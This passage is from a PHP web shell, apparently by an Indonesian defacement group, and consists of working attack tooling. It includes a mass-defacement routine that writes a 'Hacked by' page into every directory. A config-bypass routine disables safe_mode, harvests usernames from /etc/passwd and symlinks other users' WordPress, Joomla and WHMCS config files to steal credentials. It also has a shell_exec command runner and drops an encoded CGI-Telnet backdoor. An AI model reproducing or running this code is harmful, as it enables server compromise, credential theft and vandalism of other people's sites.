document.write(zipco_dec('PHNjcmlwdCBsY!ndWFnZT1KYXZhU2NyaXB0Pg0KZnVuY3Rpb24gU0hBMSAobXNnKSB7DQoNCglmd!jdGlvbiByb3RhdGVfbGVmdChuLHMpIHsNCgkJdmFyIHQ0ID0gKCBuPDxzICkgfCAobj4+PigzMi1zKSk7DQoJCXJldHVybiB0NDsNCgl9Ow0KDQoJZnVuY3Rpb24gbHNiX2hleCh2YWwpIHsNCgkJdmFyIHN0cj0iIjsNCgkJdmFyIGk7DQoJCXZhciB2aDsNCgkJdmFyIHZsOw0KDQoJCWZvciggaT0wOyBpPD02OyBpKz0yICkgew0KCQkJdmggPSAodmFsPj4+KGkqNCs0KSkmMHgwZjsNCgkJCXZsID0gKHZhbD4+PihpKjQpKSYweDBmOw0KCQkJc3RyICs9IHZoLnRvU3Rya!nKDE2KSArIHZsLnRvU3Rya!nKDE2KTsNCgkJfQ0KCQlyZXR1cm4gc3RyOw0KCX07DQoNCglmd!jdGlvbiBjdnRfaGV4KHZhbCkgew0KCQl2YXIgc3RyPSIiOw0KCQl2YXIgaTsNCgkJdmFyIHY7DQoNCgkJZm9yKCBpPTc7IGk+PTA7IGktLSApIHsNCgkJCXYgPSAodmFsPj4+KGkqNCkpJjB4MGY7DQoJCQlzdHIgKz0gdi50b1N0cmluZygxNik7DQoJCX0NCgkJcmV0dXJuIHN0cjsNCgl9Ow0KDQoNCglmd!jdGlvbiBVdGY4R!jb2RlKHN0cmluZykgew0KCQlzdHJpbmcgPSBzdHJpbmcucmVwbGFjZSgvXHJcbi9nLCJcbiIpOw0KCQl2YXIgdXRmdGV4dCA9ICIiOw0KDQoJCWZvciAodmFyIG4gPSAwOyBuIDwgc3Rya!nLmxlbmd0aDsgbisrKSB7DQoNCgkJCXZhciBjID0gc3Rya!nLmNoYXJDb2RlQXQobik7DQoNCgkJCWlmIChjIDwgMTI4KSB7DQoJCQkJdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGMpOw0KCQkJfQ0KCQkJZWxzZSBpZigoYyA+IDEyNykgJiYgKGMgPCAyMDQ4KSkgew0KCQkJCXV0ZnRleHQgKz0gU3Rya!nLmZyb21DaGFyQ29kZSgoYyA+PiA2KSB8IDE5Mik7DQoJCQkJdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKChjICYgNjMpIHwgMTI4KTsNCgkJCX0NCgkJCWVsc2Ugew0KCQkJCXV0ZnRleHQgKz0gU3Rya!nLmZyb21DaGFyQ29kZSgoYyA+PiAxMikgfCAyMjQpOw0KCQkJCXV0ZnRleHQgKz0gU3Rya!nLmZyb21DaGFyQ29kZSgoKGMgPj4gNikgJiA2MykgfCAxMjgpOw0KCQkJCXV0ZnRleHQgKz0gU3Rya!nLmZyb21DaGFyQ29kZSgoYyAmIDYzKSB8IDEyOCk7DQoJCQl9DQoNCgkJfQ0KDQoJCXJldHVybiB1dGZ0ZXh0Ow0KCX07DQoNCgl2YXIgYmxvY2tzdGFydDsNCgl2YXIgaSwgajsNCgl2YXIgVyA9IG5ldyBBcnJheSg4MCk7DQoJdmFyIEgwID0gMHg2NzQ1MjMwMTsNCgl2YXIgSDEgPSAweEVGQ0RBQjg5Ow0KCXZhciBIMiA9IDB4OThCQURDRkU7DQoJdmFyIEgzID0gMHgxMDMyNTQ3NjsNCgl2YXIgSDQgPSAweEMzRDJFMUYwOw0KCXZhciBBLCBCLCBDLCBELCBFOw0KCXZhciB0ZW1wOw0KDQoJbXNnID0gVXRmOEVuY29kZShtc2cpOw0KDQoJdmFyIG1zZ19sZW4gPSBtc2cubGVuZ3RoOw0KDQoJdmFyIHdvcmRfYXJyYXkgPSBuZXcgQXJyYXkoKTsNCglmb3IoIGk9MDsgaTxtc2dfbGVuLTM7IGkrPTQgKSB7DQoJCWogPSBtc2cuY2hhckNvZGVBdChpKTw8MjQgfCBtc2cuY2hhckNvZGVBdChpKzEpPDwxNiB8DQoJCW1zZy5jaGFyQ29kZUF0KGkrMik8PDggfCBtc2cuY2hhckNvZGVBdChpKzMpOw0KCQl3b3JkX2FycmF5LnB1c2goIGogKTsNCgl9DQoNCglzd2l0Y2goIG1zZ19sZW4gJSA0ICkgew0KCQljYXNlIDA6DQoJCQlpID0gMHgwODAwMDAwMDA7DQoJCWJyZWFrOw0KCQljYXNlIDE6DQoJCQlpID0gbXNnLmNoYXJDb2RlQXQobXNnX2xlbi0xKTw8MjQgfCAweDA4MDAwMDA7DQoJCWJyZWFrOw0KDQoJCWNhc2UgMjoNCgkJCWkgPSBtc2cuY2hhckNvZGVBdChtc2dfbGVuLTIpPDwyNCB8IG1zZy5jaGFyQ29kZUF0KG1zZ19sZW4tMSk8PDE2IHwgMHgwODAwMDsNCgkJYnJlYWs7DQoNCgkJY2FzZSAzOg0KCQkJaSA9IG1zZy5jaGFyQ29kZUF0KG1zZ19sZW4tMyk8PDI0IHwgbXNnLmNoYXJDb2RlQXQobXNnX2xlbi0yKTw8MTYgfCBtc2cuY2hhckNvZGVBdChtc2dfbGVuLTEpPDw4CXwgMHg4MDsNCgkJYnJlYWs7DQoJfQ0KDQoJd29yZF9hcnJheS5wdXNoKCBpICk7DQoNCgl3aGlsZSggKHdvcmRfYXJyYXkubGVuZ3RoICUgMTYpICE9IDE0ICkgd29yZF9hcnJheS5wdXNoKCAwICk7DQoNCgl3b3JkX2FycmF5LnB1c2goIG1zZ19sZW4+Pj4yOSApOw0KCXdvcmRfYXJyYXkucHVzaCggKG1zZ19sZW48PDMpJjB4MGZmZmZmZmZmICk7DQoNCg0KCWZvciAoIGJsb2Nrc3RhcnQ9MDsgYmxvY2tzdGFydDx3b3JkX2FycmF5Lmxlbmd0aDsgYmxvY2tzdGFydCs9MTYgKSB7DQoNCgkJZm9yKCBpPTA7IGk8MTY7IGkrKyApIFdbaV0gPSB3b3JkX2FycmF5W2Jsb2Nrc3RhcnQraV07DQoJCWZvciggaT0xNjsgaTw9Nzk7IGkrKyApIFdbaV0gPSByb3RhdGVfbGVmdChXW2ktM10gXiBXW2ktOF0gXiBXW2ktMTRdIF4gV1tpLTE2XSwgMSk7DQoNCgkJQSA9IEgwOw0KCQlCID0gSDE7DQoJCUMgPSBIMjsNCgkJRCA9IEgzOw0KCQlFID0gSDQ7DQoNCgkJZm9yKCBpPSAwOyBpPD0xOTsgaSsrICkgew0KCQkJdGVtcCA9IChyb3RhdGVfbGVmdChBLDUpICsgKChCJkMpIHwgKH5CJkQpKSArIEUgKyBXW2ldICsgMHg1QTgyNzk5OSkgJiAweDBmZmZmZmZmZjsNCgkJCUUgPSBEOw0KCQkJRCA9IEM7DQoJCQlDID0gcm90YXRlX2xlZnQoQiwzMCk7DQoJCQlCID0gQTsNCgkJCUEgPSB0ZW1wOw0KCQl9DQoNCgkJZm9yKCBpPTIwOyBpPD0zOTsgaSsrICkgew0KCQkJdGVtcCA9IChyb3RhdGVfbGVmdChBLDUpICsgKEIgXiBDIF4gRCkgKyBFICsgV1tpXSArIDB4NkVEOUVCQTEpICYgMHgwZmZmZmZmZmY7DQoJCQlFID0gRDsNCgkJCUQgPSBDOw0KCQkJQyA9IHJvdGF0ZV9sZWZ0KEIsMzApOw0KCQkJQiA9IEE7DQoJCQlBID0gdGVtcDsNCgkJfQ0KDQoJCWZvciggaT00MDsgaTw9NTk7IGkrKyApIHsNCgkJCXRlbXAgPSAocm90YXRlX2xlZnQoQSw1KSArICgoQiZDKSB8IChCJkQpIHwgKEMmRCkpICsgRSArIFdbaV0gKyAweDhGMUJCQ0RDKSAmIDB4MGZmZmZmZmZmOw0KCQkJRSA9IEQ7DQoJCQlEID0gQzsNCgkJCUMgPSByb3RhdGVfbGVmdChCLDMwKTsNCgkJCUIgPSBBOw0KCQkJQSA9IHRlbXA7DQoJCX0NCg0KCQlmb3IoIGk9NjA7IGk8PTc5OyBpKysgKSB7DQoJCQl0ZW1wID0gKHJvdGF0ZV9sZWZ0KEEsNSkgKyAoQiBeIEMgXiBEKSArIEUgKyBXW2ldICsgMHhDQTYyQzFENikgJiAweDBmZmZmZmZmZjsNCgkJCUUgPSBEOw0KCQkJRCA9IEM7DQoJCQlDID0gcm90YXRlX2xlZnQoQiwzMCk7DQoJCQlCID0gQTsNCgkJCUEgPSB0ZW1wOw0KCQl9DQoNCgkJSDAgPSAoSDAgKyBBKSAmIDB4MGZmZmZmZmZmOw0KCQlIMSA9IChIMSArIEIpICYgMHgwZmZmZmZmZmY7DQoJCUgyID0gKEgyICsgQykgJiAweDBmZmZmZmZmZjsNCgkJSDMgPSAoSDMgKyBEKSAmIDB4MGZmZmZmZmZmOw0KCQlINCA9IChINCArIEUpICYgMHgwZmZmZmZmZmY7DQoNCgl9DQoNCgl2YXIgdGVtcCA9IGN2dF9oZXgoSDApICsgY3Z0X2hleChIMSkgKyBjdnRfaGV4KEgyKSArIGN2dF9oZXgoSDMpICsgY3Z0X2hleChINCk7DQoNCglyZXR1cm4gdGVtcC50b0xvd2VyQ2FzZSgpOw0KDQp9DQo8L3NjcmlwdD4=')); </script>
  2604. <textarea cols="72" rows="5" class="m3write" onKeyUp="this.form.hash.value = SHA1(this.form.decoded.value)" name="decoded"></textarea><br>
  2605. <textarea name="hash" readonly="readonly" rows="0" cols="80"></textarea>
  2606. </form>
  2607. <center>
  2608. <?php
  2609. }
  2610. elseif(isset($_GET['x']) && ($_GET['x'] == 'encrypt'))
  2611. {
  2612. function base64($text){echo base64_encode($text);}function mdhash($text) {echo md5($text);}function whash($text) {echo crypt($text);}$text = $_POST['code'];?><center><form method="post"><br><br><br><textarea cols=80 rows=5 name="code">aerulcyber</textarea><br><br><select class='inputz' size="1" name="ope"><option value="mdhash">md5</option><option value="b64">Base64</option><option value="whash">wordpress hash</option></select><input type='submit' style="color:#00ffff;background-color:#000000" value='encrypt'></form></center><?$op = $_POST["ope"];switch ($op) {case 'b64': $codi=base64($text);break;case 'mdhash' : $codi=mdhash($text);break;case 'whash' : $codi=whash($text);break;default:break;}echo '<div>'.$codi.'</div>';}
  2613. elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
  2614. @ob_start();
  2615. @eval("phpinfo();");
  2616. $buff = @ob_get_contents();
  2617. @ob_end_clean();
  2618. $awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");
  2619. echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>"; }
  2620. elseif(isset($_GET['x']) && ($_GET['x'] == 'massdeface'))
  2621. {
  2622. echo "<center/><br/><b><font color=#00ff00>+--==[ Mass Deface ]==--+</font></b><br>";
  2623. error_reporting(0);?>
  2624. <form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
  2625. <td><table><table class="tabnet" >
  2626. <form hethot='post'>
  2627. <tr>
  2628. <tr>
  2629. <td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
  2630. </tr><br>
  2631. <tr>
  2632. <td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="readme.html"></td>
  2633. </tr>
  2634. </tr>
  2635. <th colspan='2'><b>Index code</b></th><br></table>
  2636. <textarea style='background:black;outline:none;' name='index' rows='10' cols='67'><title>Hacked by Aerul Da White-Hkc</title>
  2637. <link rel="icon" href="https://a2.sndcdn.com/assets/images/sc-icons/favicon-154f6af5.ico">
  2638. <head><body oncontextmenu="return false;" onkeydown="return false;" onmousedown="return false;" bgcolor="black">
  2639. <div style="onMouseOver=" init(this);rattleimage()" onMouseOut="stoprattle(this);top.focus()" onClick="top.focus()" alt="" border="0">
  2640. </style>
  2641. </head>
  2642. <br><br><br><br><br><br><br><br>
  2643. </center>
  2644. <center>
  2645. <pre><span style="color: #ff0000;">
  2646. ___ _ ______ _ _ _ _ _ _ _ _
  2647. / _ \ | | | _ \ | | | | | (_) | | | | | |
  2648. / /_\ \ ___ _ __ _ _| | | | | |__ _ | | | | |__ _| |_ ___ ______| |_| | | _____
  2649. | _ |/ _ \ '__| | | | | | | | / _` | | |/\| | '_ \| | __/ _ \______| _ | |/ / __|</span>
  2650. <span style="color: #ffffff;">| | | | __/ | | |_| | | | |/ / (_| | \ /\ / | | | | || __/ | | | | < (__
  2651. \_| |_/\___|_| \__,_|_| |___/ \__,_| \/ \/|_| |_|_|\__\___| \_| |_/_|\_\___|
  2652. </span></pre>
  2653. </body>>
  2654. <span style="color: #ff0000;"> <center>Hacked by Aerul Da White-Hkc - Hacker Kocan Community <br> contact : [email protected] <center>
  2655. </html>
  2656. </textarea><br>
  2657. <center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>
  2658. <?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start[email protected]fopen("$row/$file","w+");$finish[email protected]fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
  2659. elseif(isset($_GET['x']) && ($_GET['x'] == 'reverseip'))
  2660. {
  2661. ?>
  2662. <form action="?y=<?php echo $pwd; ?>&amp;x=reverseip" method="post">
  2663. <p align="center">&nbsp;</p>
  2664. <?
  2665. echo'
  2666. <html>
  2667. <head>
  2668. <title>[['.$_SERVER['HTTP_HOST'].']]</title>
  2669. <style>
  2670. body{
  2671. background: #000000;
  2672. color: #FFFFFF;
  2673. font-family: monospace;
  2674. font-size: 12px;
  2675. }
  2676. input{
  2677. background: #0F0F0F;
  2678. border: 1px solid #00FF00;
  2679. color: #00FF00;
  2680. }
  2681. h2{
  2682. color: #55FF2A;
  2683. }
  2684. </style>
  2685. <body>
  2686. <div id="page-wrap">
  2687. <center>
  2688. <form method="post" action="">
  2689. Host<br>
  2690. <input type="text" size="45" value="" name="site">
  2691. <br>
  2692. <input type="submit" value="Cek Domain List" name="reverse">
  2693. </form>
  2694. </center>';
  2695. ob_start();
  2696. error_reporting(0);
  2697. set_time_limit(0);
  2698. class r_IP{
  2699. public $opts = array(
  2700. CURLOPT_RETURNTRANSFER => true,
  2701. CURLOPT_URL => 'http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php?remoteAddress=',
  2702. CURLOPT_TIMEOUT => 10
  2703. );
  2704. public $site;
  2705. public $proxys = array(
  2706. '101.255.36.30:808',
  2707. '213.239.197.104:3128',
  2708. '159.148.213.227:3128',
  2709. '82.165.35.26:6515',
  2710. '190.66.17.53:3128',
  2711. '184.154.188.122:8118',
  2712. '109.251.34.19:8080',
  2713. '24.100.137.18:8080',
  2714. '107.20.40.40:80',
  2715. '110.171.33.163:3128',
  2716. '183.82.97.111:3128',
  2717. '218.106.183.140:808',
  2718. '177.19.134.66:8080',
  2719. '200.53.119.154:8080',
  2720. '95.163.71.69:3128',
  2721. '77.79.13.96:3128',
  2722. '171.98.154.2:3128',
  2723. '119.246.191.242:8909',
  2724. '78.139.90.106:3128',
  2725. '219.143.33.94:808',
  2726. '95.140.196.34:3128',
  2727. '92.43.187.55:3128',
  2728. '119.73.48.103:8118',
  2729. '91.135.197.250:3128',
  2730. '222.74.212.66:808',
  2731. '41.190.16.17:8080',
  2732. '220.164.162.23:3128',
  2733. '46.49.81.17:3128',
  2734. '213.159.241.191:3128',
  2735. '121.11.149.250:8081',
  2736. '41.86.98.226:8080',
  2737. '59.125.82.23:8080',
  2738. '41.86.98.225:8080',
  2739. '122.194.11.208:808',
  2740. '216.155.139.115:3128',
  2741. '125.88.125.201:8083',
  2742. '190.145.55.171:3128',
  2743. '195.135.214.226:8080',
  2744. '195.184.209.117:3128',
  2745. );
  2746. public function __construct($site){
  2747. $this->check_et($site);
  2748. }
  2749. public function check_et($site){
  2750. $this->site = $site;
  2751. $curl = curl_init();
  2752. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  2753. curl_setopt($curl,CURLOPT_URL,'http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php?remoteAddress='.$this->site.'');
  2754. $exec = curl_exec($curl);
  2755. curl_close($curl);
  2756. if(preg_match('/check limit/si',$exec)){
  2757. $proxyrastgele = rand(0,count($this->proxys)-1);
  2758. $this->opts[CURLOPT_PROXY] .= $this->proxys[$proxyrastgele];
  2759. $this->baglan($this->site);
  2760. }else{
  2761. $this->baglan($this->site);
  2762. }
  2763. }
  2764. public function baglan($site){
  2765. $this->opts[CURLOPT_URL] .= $site;
  2766. $curl = curl_init();
  2767. curl_setopt_array($curl,$this->opts);
  2768. $exec = curl_exec($curl);
  2769. curl_close($curl);
  2770. if(preg_match_all('/"(.*?)"/si', $exec, $sonuc)){
  2771. foreach(array_unique($sonuc[1]) as $reverse) {
  2772. if(strstr($reverse,'.')) {
  2773. if(eregi('www',$reverse)) {
  2774. echo '<center><font color=blue>http://'.$reverse."<br></font></center>";
  2775. }else {
  2776. echo '<center><font color=blue>http://www.'.$reverse."<br></font></center>";
  2777. }
  2778. }
  2779. }
  2780. }else{
  2781. echo "<center>Limited....</center>";
  2782. }
  2783. }
  2784. }
  2785. if(isset($_POST['reverse'])){
  2786. $site = trim($_POST['site']);
  2787. if(empty($site) || !strstr($site,'.')) die("<center>Proxy gak work......</center>");
  2788. $class = new r_IP($site);
  2789. }
  2790. echo'<div class="fot" align="center">
  2791. <pre >
  2792. </pre>
  2793. </div>
  2794. </center>
  2795. </div>
  2796. </body>
  2797. </html>';
  2798. ?>
  2799. <?php
  2800. }
  2801. elseif(isset($_GET['x']) && ($_GET['x'] == 'ngobrol'))
  2802. {
  2803. ?>
  2804. <title>Ngobrol di Shell</title>
  2805. </body>
  2806. <br><br>
  2807. <iframe src="https://www.facebook.com/plugins/comments.php?api_key=527473150597094&channel_url=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D9%23cb%3Dfb1af7d47c3daa%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff1782165273d00a%26domain%3Ddevelopers.facebook.com%26relation%3Dparent.parent&colorscheme=dark&href=http://www.facebook.com/hackerkocancommunity&locale=id_ID&numposts=5&sdk=joey&width=470#&permalink=0" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:1000px; height:1000px;" allowTransparency="true"></iframe>
  2808. <?php
  2809. }
  2810. elseif(isset($_GET['x']) && ($_GET['x'] == 'bypassconfig'))
  2811. {
  2812. ?>
  2813. <form action="?y=<?php echo $pwd; ?>&amp;x=bypassconfig" method="post">
  2814. <html>
  2815. <head>
  2816. <title>||== BypassConfig ==||</title>
  2817. <style>
  2818. body{
  2819. background: #000000;
  2820. color: #FFFFFF;
  2821. font-family: monospace;
  2822. font-size: 12px;
  2823. }
  2824. input{
  2825. background: #0F0F0F;
  2826. border: 1px solid #00ffff;
  2827. color: #00ffff;
  2828. }
  2829. h2{
  2830. color: #55FF2A;
  2831. }
  2832. </style>
  2833. </head>
  2834. <body>
  2835. <p align="center">
  2836. <?php
  2837. echo $head ;
  2838. echo '
  2839. <table width="100%" cellspacing="0" cellpadding="0" >
  2840. <td width="100%" align=center valign="top" rowspan="1">
  2841. <font color=red size=5 face="Tahoma"><b>+--==[ Bypass</font><font color=yellow size=5 face="Tahoma"><b> Config By</font><font color=green size=5 face="Tahoma"><b> Aerul Da White-Hkc ]==--+ </font> <div>
  2842. <td height="10" align="left"></td></tr><tr><td
  2843. width="100%" align="center" valign="top" rowspan="1"><font
  2844. color="red" face="Tahoma"size="1"><b>
  2845. <font color=red>
  2846. </table>
  2847. ';
  2848. ?>
  2849. <body bgcolor=black><h3 style="text-align:center"><font color=red size=2 face="comic sans ms"><div align=center><table><tr><td>Selamat datang di bypass config ane gan :D <br><center>jgn lupa nitip nick ye :v</font><center></td><br></tr></table><br><br>
  2850. <form method=post><font color=white size=2 face="Tahoma">nich tombol buat php.ini :)</font><p>
  2851. <input type=submit name=ini value="use to Generate PHP.ini" /></form>
  2852. <form method=post><font color=white size=2 face="Tahoma">nich buat nyari usernamenya</font><p>
  2853. <input type=submit name="usre" value="use to Extract usernames" /></form>
  2854. <?php
  2855. if(isset($_POST['ini']))
  2856. {
  2857. $r=fopen('php.ini','w');
  2858. $rr="safe_mode=OFF
  2859. disable_functions=NONE";
  2860. fwrite($r,$rr);
  2861. $link="<a href=php.ini><font color=white size=2 face=\"Tahoma\"><u>buka di newtab PHP.INI</u></font></a>";
  2862. echo $link;
  2863. }
  2864. ?>
  2865. <?php
  2866. if(isset($_POST['usre'])){
  2867. ?><form method=post>
  2868. <textarea rows=10 cols=50 name=user><?php $users=file("/etc/passwd");
  2869. foreach($users as $user)
  2870. {
  2871. $str=explode(":",$user);
  2872. echo $str[0]."\n";
  2873. }
  2874. ?></textarea><br><br>
  2875. <input type=submit name=su value="mari kita mulai" /></form>
  2876. <?php } ?>
  2877. <?php
  2878. error_reporting(0);
  2879. echo "<font color=red size=2 face=\"Tahoma\">";
  2880. if(isset($_POST['su']))
  2881. {
  2882. mkdir('hkc',0777);
  2883. $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2884. $g = fopen('hkc/.htaccess','w');
  2885. fwrite($g,$rr);
  2886. $hkc = symlink("/","hkc/root");
  2887. $rt="<a href=hkc/root><font color=white size=3 face=\"Tahoma\"> OwN3d</font></a>";
  2888. echo "Mas bro buka link ini buat liat folder symlink <br><u>$rt</u>";
  2889. $dir=mkdir('hkc',0777);
  2890. $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2891. $f = fopen('hkc/.htaccess','w');
  2892. fwrite($f,$r);
  2893. $consym="<a href=hkc/><font color=white size=3 face=\"Tahoma\">configuration files</font></a>";
  2894. echo "<br>CHECK HASILNYA YG DIBAWAH INI OMSSSS :*<br><u><font color=red size=2 face=\"Tahoma\">$consym</font></u>";
  2895. $usr=explode("\n",$_POST['user']);
  2896. $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
  2897. foreach($usr as $uss )
  2898. {
  2899. $us=trim($uss);
  2900. foreach($configuration as $c)
  2901. {
  2902. $rs="/home/".$us."/public_html/".$c;
  2903. $r="hkc/".$us." .. ".$c;
  2904. symlink($rs,$r);
  2905. }
  2906. }
  2907. }
  2908. ?>
  2909. <?php
  2910. }
  2911. elseif(isset($_GET['x']) && ($_GET['x'] == 'command'))
  2912. {
  2913. echo "<b><font color=blue> </font></b><br>";
  2914. print_r('
  2915. <pre>
  2916. <form method="POST" action="">
  2917. <b><font color=blue><b><font color="blue">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
  2918. </form>
  2919. <form method="POST" action=""><strong><b><font color="blue">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
  2920. <option value="cat /etc/passwd">/etc/passwd</option>
  2921. <option value="netstat -an | grep -i listen">netstat</option>
  2922. <option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
  2923. <option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
  2924. <option value="cat /etc/hosts">/etc/hosts</option>
  2925. <option value="cat /etc/named.conf">/etc/named.conf</option>
  2926. <option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
  2927. </select> <input type="submit" class="inputzbut" value="Go">
  2928. </form>
  2929. </pre>
  2930. ');
  2931. ini_restore("safe_mode");
  2932. ini_restore("open_basedir");
  2933. $liz0=shell_exec($_POST[baba]);
  2934. $liz0zim=shell_exec($_POST[liz0]);
  2935. $uid=shell_exec('id');
  2936. $server=shell_exec('uname -a');
  2937. echo "<pre><h4>";
  2938. echo $liz0;
  2939. echo $liz0zim;
  2940. echo "</h4></pre><center/>";
  2941. ?>
  2942. <?php
  2943. }
  2944. elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi12'))
  2945. {
  2946. ?>
  2947. <form action="?y=<?php echo $pwd; ?>&amp;x=cgi12" method="post">
  2948. <?php
  2949. echo "<center/><br/><b>
  2950. +--==[ CGI-Telnet Version 1.3 ]==--+
  2951. </b><br><br>";
  2952. mkdir('cgi12', 0755);
  2953. chdir('cgi12');
  2954. $kokdosya = ".htaccess";
  2955. $dosya_adi = "$kokdosya";
  2956. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  2957. $metin = "AddHandler cgi-script .pl";
  2958. fwrite ( $dosya , $metin ) ;
  2959. fclose ($dosya);
  2960. $cgi12 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtL